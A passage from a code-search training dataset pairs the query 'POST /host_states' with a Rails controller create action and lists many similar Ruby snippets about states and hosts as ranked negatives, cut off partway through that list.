query
stringlengths 7
9.55k
| document
stringlengths 10
363k
| metadata
dict | negatives
listlengths 0
101
| negative_scores
listlengths 0
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
|---|---|---|---|---|---|---|
GET /host_states/1 GET /host_states/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @host_states = HostState.all\n end",
"def get_state\n @states = State.find_state(params[:id])\n respond_to do |format|\n format.json { render :json => @states }\n end\n end",
"def index\n @api_states = Api::State.all\n end",
"def get_states\n perform(:get, 'enum/states', nil, nonauth_headers).body\n end",
"def index\n @states = State.all\n \n render json: @states\n end",
"def index\n @project_states = ProjectState.all\n json_response(@project_states)\n end",
"def device_states_list\n get \"deviceStates\"\n end",
"def show\n @state = State.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @state }\n end\n end",
"def show\n @state = State.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @state }\n end\n end",
"def show\n render json: @state\n end",
"def show\n json_response(@project_state)\n end",
"def index\n @states = State.all\n respond_with(@states)\n end",
"def index\n @states = State.all\n end",
"def index\n @states = State.all\n end",
"def index\n @states = State.all\n end",
"def index\n @states = State.all\n end",
"def index\n @states = State.all\n end",
"def device_states_get(device_name)\n get \"deviceStates/#{device_name}\"\n end",
"def show\n @map_state = MapState.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @map_state }\n end\n end",
"def get_state\n @client.get_state\n end",
"def set_host_state\n @host_state = HostState.find(params[:id])\n end",
"def index\n @program_states = ProgramState.all\n end",
"def create\n @host_state = HostState.new(host_state_params)\n\n respond_to do |format|\n if @host_state.save\n format.html { redirect_to @host_state, notice: 'Host state was successfully created.' }\n format.json { render :show, status: :created, location: @host_state }\n else\n format.html { render :new }\n format.json { render json: @host_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @states = State.order(\"name\").page(params[:page]).per(50)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @states }\n end\n end",
"def _region_states(region_id)\n get('region/states', region_id)\n end",
"def get_services_state()\n file = File.read('config/status.json')\n data_hash = JSON.parse(file)\n return data_hash\n end",
"def get_state\n send_request(FUNCTION_GET_STATE, [], '', 2, '? ?')\n end",
"def show\n @state = State.find(params[:id])\n end",
"def index\n @asset_states = AssetState.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @asset_states }\n end\n end",
"def index\n @page_title = 'States'\n @states = State.all\n end",
"def by_state\n \tdata = City.where('state_id = ?', params[:state_id]).order(:name)\n \trespond_to do |format|\n \t\tformat.json {render :json => data, :status => 200}\n \tend\n end",
"def index\n @event_states = EventState.all\n end",
"def index\n @user_states = UserState.all\n end",
"def index\n @user_states = UserState.all\n end",
"def index\n @action_states = ActionState.all\n end",
"def update\n respond_to do |format|\n if @host_state.update(host_state_params)\n format.html { redirect_to @host_state, notice: 'Host state was successfully updated.' }\n format.json { render :show, status: :ok, location: @host_state }\n else\n format.html { render :edit }\n format.json { render json: @host_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def list_alert_state(project_name, optional={})\n\t\targs = self.class.new_params\n\t\targs[:method] = 'GET'\n\t\targs[:path]['ProjectName'] = project_name\n\t\targs[:pattern] = '/projects/[ProjectName]/alerts_state'\n\t\targs[:query]['Action'] = 'ListAlertState'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'http'\n\t\tif optional.key? :alert_name\n\t\t\targs[:query]['AlertName'] = optional[:alert_name]\n\t\tend\n\t\tif optional.key? :dimensions\n\t\t\targs[:query]['Dimensions'] = optional[:dimensions]\n\t\tend\n\t\tif optional.key? :end_time\n\t\t\targs[:query]['EndTime'] = optional[:end_time]\n\t\tend\n\t\tif optional.key? :page\n\t\t\targs[:query]['Page'] = optional[:page]\n\t\tend\n\t\tif optional.key? :page_size\n\t\t\targs[:query]['PageSize'] = optional[:page_size]\n\t\tend\n\t\tif optional.key? :start_time\n\t\t\targs[:query]['StartTime'] = optional[:start_time]\n\t\tend\n\t\tself.run(args)\n\tend",
"def select_state state\r\n select state, :from => \"client_state_phys\"\r\n end",
"def index\n @states = @country.states.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @states }\n end\n end",
"def index\n @task_states = TaskState.all\n end",
"def show\n \n @states = State.find(:all)\n @state = State.find(params[:id], :include => [ { :offices => :office_type }, {:offices => :incumbents }])\n @us_senator_offices = []\n @us_rep_offices = []\n @state_senator_offices = []\n @state_rep_offices = []\n @state.offices.each do |o|\n case o.office_type.ukey\n when 'US_SENATOR'\n @us_senator_offices.push(o)\n when 'US_REP'\n @us_rep_offices.push(o)\n when 'HOUSE_DELEGATE'\n @us_rep_offices.push(o)\n when 'STATE_SENATOR'\n @state_senator_offices.push(o)\n when 'STATE_REP'\n @state_rep_offices.push(o)\n end\n end\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @state }\n end\n end",
"def show\n @host = Host.find(params[:id])\n\n render json: @host\n end",
"def state\r\n\t\t\t`#{BITS::BITSADMIN} /getstate {#{@id}}`\r\n\t\tend",
"def all_state(id)\n $app_sessions[id][:state]\nend",
"def states; @_hegemon_states.keys; end",
"def state_events(state)\n api_return = RestClient.get('https://app.ticketmaster.com/discovery/v2/events.json?stateCode=' + state + '&apikey=' + $ticket_master_api_key)\n JSON.parse(api_return)\nend",
"def show\n @host = Host.find_by(hostname: params[:id])\n\n render json: @host\n end",
"def show\n @state = @country.states.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @state }\n end\n end",
"def index\n @sprint_states = SprintState.all\n end",
"def get_state\n \"Treasury state: #{@resources}\"\n end",
"def index\n @process_states = ProcessState.all\n end",
"def show\n @psa_state = PsaState.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @psa_state }\n end\n end",
"def host_state_params\n params.require(:host_state).permit(:name)\n end",
"def read_state(hyp, machine)\n output = hyp.exec(\"vmadm get #{machine.id}\")\n\n if output.exit_code != 0 || output.stderr.chomp =~ /No such zone configured/ || output.stdout == \"\"\n nil\n else\n JSON.load(output.stdout)\n end\n end",
"def index\n @modelstates = Modelstate.all\n end",
"def states\n [\n ['0', 'HOSTS_LOADED', 'Hosts table has been populated with host data']\n ]\n end",
"def index\n @cities = City.where(state_id: params[:id])\n respond_to do |format|\n format.json { render :json => @cities.to_json }\n end\n end",
"def backup_dashboards(http_auth, graphite_server)\n board_names = JSON.parse(http_auth.post(\"#{graphite_server}/dashboard/find/\", form: {query:''}).to_s)['dashboards'].map{|n|n['name']}\n\n board_names.map do |b|\n dat=http_auth.get(\"#{graphite_server}/dashboard/load/#{b}\").to_s\n state_str=JSON.parse(dat)['state'].to_json # :(\n puts state_str\n end\nend",
"def state\n status[\"state\"]\n end",
"def show\n @goal_state = GoalState.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @goal_state }\n end\n end",
"def destroy\n @host_state.destroy\n respond_to do |format|\n format.html { redirect_to host_states_url, notice: 'Host state was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def show\n @tender_state = TenderState.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tender_state }\n end\n end",
"def states\r\n @states.collect {|id| $data_states[id] }\r\n end",
"def show\n @asset_state = AssetState.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @asset_state }\n end\n end",
"def find_kanban_state_id\n issues_status_id = params[:issue_status_id]\n issue_states = IssueStatusKanbanState.where(:issue_status_id=>issues_status_id)\n if issue_states.present?\n kanban_state_id = issue_states.map(&:kanban_state_id).first\n end\n\n if request.xhr?\n render :json => {\n :kanban_state_id=> kanban_state_id\n }\n end\n\n end",
"def read_state(api, machine)\n\n return :not_created if machine.id.nil?\n\n serverid = machine.id\n begin\n response = api.get(\"/server/#{serverid}\")\n rescue Driver::NotFoundError\n machine.id = nil\n return :not_created\n end\n return response[\"Server\"][\"Instance\"][\"Status\"].to_sym\n end",
"def byState\n @companies = Company.where(\"state_id = ?\", company_params[:state_id])\n\n render json: @companies\n end",
"def find_state\n\t\t\t@state = Category.find_by_parent_uuid_and_url_part(@country.uuid, params[:state_id].downcase) if params[:country_id] && params[:state_id]\n\t\tend",
"def find_state\n\t\t\t@state = Category.find_by_parent_uuid_and_url_part(@country.uuid, params[:state_id].downcase) if params[:country_id] && params[:state_id]\n\t\tend",
"def show\n #@leader = Leader.find_by_slug(params[:id])\n #@state = State.find_by_slug(params[:id])\n #debugger\n render json: @state\n #render json: @state\n #debugger\n #raise @state.inspect\n #@state = @leader.state\n end",
"def states\n []\n end",
"def states\n []\n end",
"def states\n @attributes[\"data\"][\"states\"]\n end",
"def state\n address.state\n end",
"def runstate(host, port, opts = {})\n cmd = opts[:cmd]\n if [:pause, :wait, :resume].include?(cmd.to_sym)\n path = \"/runstate/#{cmd.to_s}\"\n else\n path = \"/runstate/query\"\n end\n\n uri = URI::HTTP.build(host: host, port: port, path: path)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n response = http.get(uri.path, \"Accept\" => \"application/json\")\n end",
"def states\n @states ||= {}\n end",
"def [](query)\n query(query).states || []\n end",
"def get_agent_online_state\n reply = @client.call(:get_agent_online_state)\n data = reply.body.dig(:get_agent_online_state_response,\n :get_agent_online_state_result,\n :array_of_string)\n data = check_if_data_exists(data)\n\n data.map do |attrs|\n {\n agent_id: attrs[:string][0],\n name: attrs[:string][1],\n team: attrs[:string][2],\n # Some states are randomly capitalized and include <> brackets, the brackets are trimmed out\n # and each individual word in the state is capitalized.\n # Unicode characters require a workaround using mb_chars.\n status: normalize_unicode_string(attrs[:string][3]),\n time_in_status: attrs[:string][4]\n }\n end\n rescue Savon::HTTPError => error\n Rails.logger.debug error.http.code\n return []\n end",
"def get_state\n get_user\n respond_to do |format| \n format.html { redirect_to(root_path, :notice =>'Permission error') }\n format.json { render :json => {:success=> true , :state=> @vm.state } }\n end\n end",
"def show\n @host = Host.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @host }\n end\n end",
"def state(params = {})\n response = client.get \"/_cluster/state{/metrics}{/indices}\", params.merge(action: \"cluster.state\", rest_api: \"cluster.state\")\n response.body\n end",
"def show\n @sectioneight_form = SectioneightForm.find(params[:id])\n @states = State.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sectioneight_form }\n end\n end",
"def index\n @state_types = StateType.all\n end",
"def state_list\n @state_list=State.find_all_by_country_id(params[:city][:value])\n end",
"def show\n @state = State.find_by_slug(params[:state_slug])\n end",
"def get_state\n@state.keys\nend",
"def index\n @tutorial_states = Tutorial::State.all\n\n respond_to do |format|\n format.html do\n @tutorial_states = Tutorial::State.paginate(:page => params[:page], :per_page => 50) \n @paginate = true \n end\n format.json { render json: @tutorial_states }\n end\n end",
"def state_str\n HOST_STATES[state]\n end",
"def show\n @unemployment_form = UnemploymentForm.find(params[:id])\n @states = State.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @unemployment_form }\n end\n end",
"def show\n @state = State.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @state }\n end\n end",
"def index\n @state = State.find(params[:state_id])\n @cities = City.where(:state_id => params[:state_id]).paginate(:page => params[:page], :per_page => 10, :order => 'name')\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cities }\n end\n end",
"def show\n init_au_states(:all);\n respond_to do |format| \n respond_do(format, @collection)\n end \n end",
"def initialize_state\n load_and_process_n3 '{ <http://example.com/x> <http://example.com/y> <http://example.com/z>.} a <http://purl.org/restdesc/states#State>.'\n end",
"def byState\n @company_types = CompanyType.where(\"state_id = ?\", company_type_params[:state_id])\n\n render json: @company_types\n end",
"def tourney_state(id)\n tournament = JSON.parse(`curl -s --user #{CHALLONGE_USER}:#{CHALLONGE_TOKEN} -X GET #{api_url(id)}.json`)\n return tournament['tournament']['state']\nend",
"def state\n params['state']\n end",
"def us_states\n response = get('AllUSStates')\n StoreStatesSerializer.new([]).from_xml(response) #.map(&:state)\n end",
"def index\n @locations = Location.find(:all, :order => 'state, name ASC')\n @states = []\n @locations.each do |loc|\n @states << loc.state unless loc.state.nil?\n end\n @states.uniq!\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @locations }\n end\n end",
"def show\n @expense_state = ExpenseState.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense_state }\n end\n end",
"def show\n @hand_state = HandState.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hand_state }\n end\n end",
"def cities_in_state\n cities = State.find(params[:id]).cities.order(name: :asc)\n\n render json: cities.to_json(), status: :ok\n end"
] |
[
"0.74115807",
"0.7052342",
"0.6925709",
"0.68751335",
"0.6613906",
"0.658993",
"0.65271866",
"0.6340429",
"0.6340429",
"0.63083714",
"0.62982845",
"0.6280394",
"0.6256599",
"0.6256599",
"0.6256599",
"0.6256599",
"0.6256599",
"0.62221545",
"0.6188102",
"0.61712134",
"0.61627287",
"0.6094199",
"0.6093569",
"0.6041505",
"0.6000073",
"0.59981835",
"0.5988131",
"0.59776354",
"0.596263",
"0.5936382",
"0.5908421",
"0.5907625",
"0.58887756",
"0.58887756",
"0.58872205",
"0.5882107",
"0.58730364",
"0.58502233",
"0.58442396",
"0.5840642",
"0.58221513",
"0.58195466",
"0.58180124",
"0.58123916",
"0.58074063",
"0.57852304",
"0.5768983",
"0.57165617",
"0.5699627",
"0.5689273",
"0.5682166",
"0.56765294",
"0.5645762",
"0.5631772",
"0.5620381",
"0.55969906",
"0.55932957",
"0.55927676",
"0.5585591",
"0.55696565",
"0.5569378",
"0.55654323",
"0.55551356",
"0.55536366",
"0.5548218",
"0.5546439",
"0.5532794",
"0.55303514",
"0.55303514",
"0.5524653",
"0.55235755",
"0.55235755",
"0.55197257",
"0.5514118",
"0.5513162",
"0.5512704",
"0.55116355",
"0.5510426",
"0.550965",
"0.54931897",
"0.54912025",
"0.5489403",
"0.5479294",
"0.54692876",
"0.54498476",
"0.54483134",
"0.5428749",
"0.54279107",
"0.5427326",
"0.5412003",
"0.5407477",
"0.53906494",
"0.53887016",
"0.53845155",
"0.5384083",
"0.53804195",
"0.53792536",
"0.5369148",
"0.5367316",
"0.536722",
"0.5357895"
] |
0.0
|
-1
|
POST /host_states POST /host_states.json
|
def create
@host_state = HostState.new(host_state_params)
respond_to do |format|
if @host_state.save
format.html { redirect_to @host_state, notice: 'Host state was successfully created.' }
format.json { render :show, status: :created, location: @host_state }
else
format.html { render :new }
format.json { render json: @host_state.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def host_state_params\n params.require(:host_state).permit(:name)\n end",
"def create\n @project_states = ProjectState.create!(project_state_params)\n json_response(@project_states, :created)\n end",
"def index\n @host_states = HostState.all\n end",
"def create\n @api_state = Api::State.new(api_state_params)\n\n if @api_state.save\n render json: @api_state, status: :created, location: @api_state\n else\n render json: @api_state.errors, status: :unprocessable_entity\n end\n end",
"def create\n @state = State.new(state_params)\n\n if @state.save\n render json: @state, status: :created, location: @state\n # 'state was successfully created.'\n else\n render json: @state.errors, status: :unprocessable_entity\n end\n end",
"def states_params\n\t \t params.require(:state).permit(:country_id, :name, :status)\n\t end",
"def set_host_state\n @host_state = HostState.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @host_state.update(host_state_params)\n format.html { redirect_to @host_state, notice: 'Host state was successfully updated.' }\n format.json { render :show, status: :ok, location: @host_state }\n else\n format.html { render :edit }\n format.json { render json: @host_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @map_state = MapState.new(params[:map_state])\n\n respond_to do |format|\n if @map_state.save\n format.html { redirect_to @map_state, :notice => 'Map state was successfully created.' }\n format.json { render :json => @map_state, :status => :created, :location => @map_state }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @map_state.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @event_state = EventState.new(event_state_params)\n\n respond_to do |format|\n if @event_state.save\n format.html { redirect_to @event_state, notice: 'Event state was successfully created.' }\n format.json { render :show, status: :created, location: @event_state }\n else\n format.html { render :new }\n format.json { render json: @event_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @state = State.new(state_params)\n respond_to do |format|\n if @state.save\n format.html { redirect_to @state, notice: 'State was successfully created.' }\n format.json { render :show, status: :created, location: @state }\n else\n format.html { render :new }\n format.json { render json: @state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @state = State.new(state_params)\n\n respond_to do |format|\n if @state.save\n format.html { redirect_to @state, notice: 'State was successfully created.' }\n format.json { render :show, status: :created, location: @state }\n else\n format.html { render :new }\n format.json { render json: @state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @state = State.new(params[:state])\n\n respond_to do |format|\n if @state.save\n format.html { redirect_to @state, notice: 'State was successfully created.' }\n format.json { render json: @state, status: :created, location: @state }\n else\n format.html { render action: \"new\" }\n format.json { render json: @state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @state = State.new(params[:state])\n\n respond_to do |format|\n if @state.save\n format.html { redirect_to @state, notice: 'State was successfully created.' }\n format.json { render json: @state, status: :created, location: @state }\n else\n format.html { render action: \"new\" }\n format.json { render json: @state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @state = State.new(state_params)\n\n respond_to do |format|\n if @state.save\n format.html { redirect_to @state, notice: 'State was successfully created.' }\n format.json { render action: 'show', status: :created, location: @state }\n else\n format.html { render action: 'new' }\n format.json { render json: @state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user_state = UserState.new(user_state_params)\n\n respond_to do |format|\n if @user_state.save\n format.html { redirect_to @user_state, notice: 'User state was successfully created.' }\n format.json { render :show, status: :created, location: @user_state }\n else\n format.html { render :new }\n format.json { render json: @user_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @states_assign = StatesAssign.new(states_assign_params)\n\n respond_to do |format|\n if @states_assign.save\n format.html { redirect_to @states_assign, notice: 'State was successfully created.' }\n format.json { render :show, status: :created, location: @states_assign }\n \"#{@states_assign.assigned_to}StateMachine\".constantize.state @states_assign.state.name.to_sym\n\n puts '##############################'\n puts LeadStateMachine.states\n puts '##############################'\n\n else\n format.html { render :new }\n format.json { render json: @state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @action_state = ActionState.new(action_state_params)\n\n respond_to do |format|\n if @action_state.save\n format.html { redirect_to [project, @action_state], notice: 'Action state was successfully created.' }\n format.json { render :show, status: :created, location: @action_state }\n end\n end\n end",
"def create\n @task_state = TaskState.new(task_state_params)\n\n respond_to do |format|\n if @task_state.save\n format.html { redirect_to @task_state, success: 'Task state was successfully created.' }\n format.json { render :show, status: :created, location: @task_state }\n else\n format.html { render :new }\n format.json { render json: @task_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user_state = UserState.new(user_state_params)\n\n respond_to do |format|\n if @user_state.save\n format.html { redirect_to @user_state, notice: 'User state was successfully created.' }\n format.json { render action: 'show', status: :created, location: @user_state }\n else\n format.html { render action: 'new' }\n format.json { render json: @user_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def process\n Puppet.debug \"Sending status for #{self.host} to StackState server at #{STACKSTATE_URL}\"\n\n payload = <<-END\n {\n \"collection_timestamp\": #{self.time.to_i},\n \"events\": {\n \"puppet\": [\n {\n \"context\": {\n \"category\": \"Changes\",\n \"data\": {\n \"configuration_version\": \"#{self.configuration_version.to_s}\",\n \"transaction_uuid\": \"#{self.transaction_uuid}\",\n \"catalog_uuid\": \"#{self.catalog_uuid}\",\n \"status\": \"#{self.status}\"\n },\n \"element_identifiers\": [\n \"urn:host:/#{self.host}\"\n ],\n \"source\": \"Puppet\",\n \"source_id\": \"#{self.transaction_uuid}\",\n \"source_links\": [\n {\n \"title\": \"Puppet console\",\n \"url\": \"https://#{PUPPETCONSOLE_HOST}/#/node_groups/inventory/node/#{self.host}/reports\"\n }\n ]\n },\n \"event_type\": \"ConfigurationChangedEvent\",\n \"msg_title\": \"Puppet run for #{self.host} #{self.status}\",\n \"msg_text\": \"Puppet run for #{self.host} #{self.status} on configuration version #{self.configuration_version.to_s} in #{self.environment}\",\n \"source_type_name\": \"ConfigurationChangedEvent\",\n \"tags\": [\n \"environment:#{self.environment}\"\n ],\n \"timestamp\": #{self.time.to_i}\n }\n ]\n },\n \"internalHostname\": \"#{self.host}\",\n \"metrics\": [],\n \"service_checks\": [],\n \"topologies\": []\n }\nEND\n\n Puppet.debug \"StackState event payload: #{payload}\"\n result = post_json(\"#{STACKSTATE_URL}/intake?api_key=#{STACKSTATE_API_KEY}\", payload)\n Puppet.debug \"HTTP POST result: #{result.code}\"\n end",
"def create\n @modelstate = Modelstate.new(modelstate_params)\n\n respond_to do |format|\n if @modelstate.save\n format.html { redirect_to @modelstate, notice: 'Modelstate was successfully created.' }\n format.json { render :show, status: :created, location: @modelstate }\n else\n format.html { render :new }\n format.json { render json: @modelstate.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @state = @country.states.build(params[:state])\n\n respond_to do |format|\n if @state.save\n format.html { redirect_to([@country, @state], :notice => 'State was successfully created.') }\n format.xml { render :xml => @state, :status => :created, :location => [@country, @state] }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @state.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @state = State.new(state_params)\n\n respond_to do |format|\n if @state.save\n format.html { redirect_to @state, notice: 'State was successfully created.' }\n format.json { render json:{message:'State was successfully created.'}, status: :created, location: @state }\n else\n format.html { render action: 'new' }\n format.json { render json: @state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @process_state = ProcessState.new(process_state_params)\n\n respond_to do |format|\n if @process_state.save\n format.html { redirect_to @process_state, notice: 'Process state was successfully created.' }\n format.json { render action: 'show', status: :created, location: @process_state }\n else\n format.html { render action: 'new' }\n format.json { render json: @process_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @united_state = UnitedState.new(united_state_params)\n\n respond_to do |format|\n if @united_state.save\n format.html { redirect_to @united_state, notice: 'United state was successfully created.' }\n format.json { render :show, status: :created, location: @united_state }\n else\n format.html { render :new }\n format.json { render json: @united_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @state = State.new(params[:state])\n\n respond_to do |format|\n if @state.save\n format.html { redirect_to(states_path, :notice => 'State was Created Successfully.') }\n format.xml { render :xml => @state, :status => :created, :location => @state }\n else\n\t@country = Country.all\n format.html { render :action => \"new\" }\n format.xml { render :xml => @state.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @host = Host.new(params[:host])\n\n if @host.save\n render json: @host, status: :created, location: @host\n else\n render json: @host.errors, status: :unprocessable_entity\n end\n end",
"def create\n @host = Host.new(host_params)\n\n if @host.save\n render json: @host, status: :created, location: @host\n else\n render json: @host.errors, status: :unprocessable_entity\n end\n end",
"def update_episode_states(episode)\n episode.states = control_points_to_states(objectify_json(episode.control_points), episode.timestep).to_json\n episode.save\n end",
"def destroy\n @host_state.destroy\n respond_to do |format|\n format.html { redirect_to host_states_url, notice: 'Host state was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def state_params\n params.require(:state).permit(:name, :code, :description, :country_id, :active)\n end",
"def create\n @surgery_state = SurgeryState.new(surgery_state_params)\n\n respond_to do |format|\n if @surgery_state.save\n format.html { redirect_to @surgery_state, notice: 'Surgery state was successfully created.' }\n format.json { render :show, status: :created, location: @surgery_state }\n else\n format.html { render :new }\n format.json { render json: @surgery_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_supervisor_state_history\n validate(\n state: []\n )\n\n response = {status: 'ok'}\n\n begin\n if @experiment.completed\n msg = \"Added experiment supervisor state entry for exp. #{params[:id]}, but it is already completed\"\n logger.info(msg)\n response['info'] = \"Experiment is completed\"\n end\n\n @experiment.supervisor_run_states ||= []\n @experiment.supervisor_run_states <<\n {time: Time.now, state: Utils.parse_json_if_string(params[:state])}\n @experiment.save\n rescue => e\n Rails.logger.debug(\"Error in experiment 'progress_info' function - #{e}\")\n response = {status: 'error', reason: e.to_s}\n end\n\n render json: response\n end",
"def add_states(new_states); end",
"def create\n\t\t@state = State.create(states_params)\n\t\tif @state.save\n\t\t\tflash[:success] = \"Record updated successfully\"\n\t\t\tredirect_to states_path\n\t\t else\n\t\t \tflash[:error] = \"Record not updated\"\n\t\t redirect_to states_path\n\t\tend\n\tend",
"def state_params\n params.require(:state).permit(:name, :abbreviation)\n end",
"def create\n @state = State.new(state_params)\n\n end",
"def index\n @project_states = ProjectState.all\n json_response(@project_states)\n end",
"def device_states_list\n get \"deviceStates\"\n end",
"def create\n @tender_state = TenderState.new(params[:tender_state])\n\n respond_to do |format|\n if @tender_state.save\n format.html { redirect_to @tender_state, notice: 'Tender state was successfully created.' }\n format.json { render json: @tender_state, status: :created, location: @tender_state }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tender_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @sprint_state = SprintState.new(sprint_state_params)\n\n respond_to do |format|\n if @sprint_state.save\n format.html { redirect_to @sprint_state, notice: 'Sprint state was successfully created.' }\n format.json { render action: 'show', status: :created, location: @sprint_state }\n else\n format.html { render action: 'new' }\n format.json { render json: @sprint_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def state_params\n params.require(:state).permit(:title, :country_id)\n end",
"def index\n @api_states = Api::State.all\n end",
"def set_PostState(value)\n set_input(\"PostState\", value)\n end",
"def state_params\n params.require(:state).permit(:name)\n end",
"def state_params\n params.require(:state).permit(:name)\n end",
"def index\n @states = State.all\n \n render json: @states\n end",
"def state_params\n params.require(:state).permit(:country_id, :name, :short_name)\n end",
"def create\n #we're going to be tailoring a message in the case of a wrong or duplicate answer:\n\n@message = \"\"\n\n \n\n#your standard new instance of the Resource line:\n\n@state = State.new(state_params)\n\n \n\n#we'll need this to check if the answer is a duplicate:\n\n@states = State.all\n\n \n\n#let's make sure the answer is correct, and that it's not a duplicate.\n\n#see the Application Helper for these methods:\n\ncorrect = check_answer_state(@state.name)\n\nis_dup = check_for_dup_state(@state.name,@states)\n\n \n\n#we're going to have a couple messages for when the user enters something that is not a city, or is a duplicate answer\n\nif correct == false\n\n@message = \"That is not a state TTS is in.\"\n\nelsif is_dup == true\n\n@message = \"You already guessed that one!\"\n\nend\n\n \n\nrespond_to do |format|\n\n#if we have > 1 city left to name, and the user's answer is true and not a duplicate answer, we'll save it in the database and redirect back to the same page\n\nif @states.count <= 48 && correct == true && is_dup == false && @state.save\n\nformat.html { redirect_to new_state_path, notice: 'State was successfully created.' }\n\nformat.json { render action: 'show', status: :created, location: @state }\n\n#if this is our last city to name, and the user's answer is true and not a duplicate answer, we'll save it in the database and redirect to the 'you won!' page\n\nelsif @states.count == 49 && correct == true && is_dup == false && @state.save\n\nformat.html { redirect_to youwonstate_path, notice: 'State was successfully created.' }\n\nformat.json { render action: 'show', status: :created, location: @state }\n\nelse\n\nformat.html { render action: 'new' }\n\nformat.json { render json: @state.errors, status: :unprocessable_entity }\n\nend\n\nend\n\nend",
"def stack_state_params\n params.require(:stack_state).permit(:name)\n end",
"def state_params\n params.require(:state).permit(:name, :shortname, :code, :population)\n end",
"def state_params\n params.fetch(:state, {}).permit(:name, :code, :country_id)\n end",
"def create\n @psa_state = PsaState.new(params[:psa_state])\n\n respond_to do |format|\n if @psa_state.save\n format.html { redirect_to @psa_state, notice: 'Psa state was successfully created.' }\n format.json { render json: @psa_state, status: :created, location: @psa_state }\n else\n format.html { render action: \"new\" }\n format.json { render json: @psa_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @state_type = StateType.new(state_type_params)\n\n respond_to do |format|\n if @state_type.save\n format.html { redirect_to @state_type, notice: 'State type was successfully created.' }\n format.json { render :show, status: :created, location: @state_type }\n else\n format.html { render :new }\n format.json { render json: @state_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @socket_state = SocketState.new(params[:socket_state])\n\n respond_to do |format|\n if @socket_state.save\n format.html { redirect_to(socket_states_url, :notice => 'Socket state was successfully created.') }\n format.xml { render :xml => @socket_state, :status => :created, :location => @socket_state }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @socket_state.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def state_params\n params.require(:state).permit(:name, :abbrev, :favorite, :favorites )\n end",
"def state_params\n params.fetch(:state, {}).permit(:name, :description)\n end",
"def states\n [\n ['0', 'HOSTS_LOADED', 'Hosts table has been populated with host data']\n ]\n end",
"def load_host_data\n JSON.parse(this_payload(@flag)).each do |h|\n execute_sql_statement(\n \"INSERT INTO hosts \\n\" \\\n \"(hostname, short_name, ip_address, host_group) \\n\" \\\n \"values \\n\" \\\n \"('#{h['hostname']}', '#{h['short_name']}', \" \\\n \"'#{h['ip_address']}', '#{h['host_group']}');\"\n )\n end\n end",
"def state_params\n params.require(:state).permit(:name, :abbreviation, :description, :longitude, :latitude, :hashtag, :zoom)\n end",
"def device_states=(value)\n @device_states = value\n end",
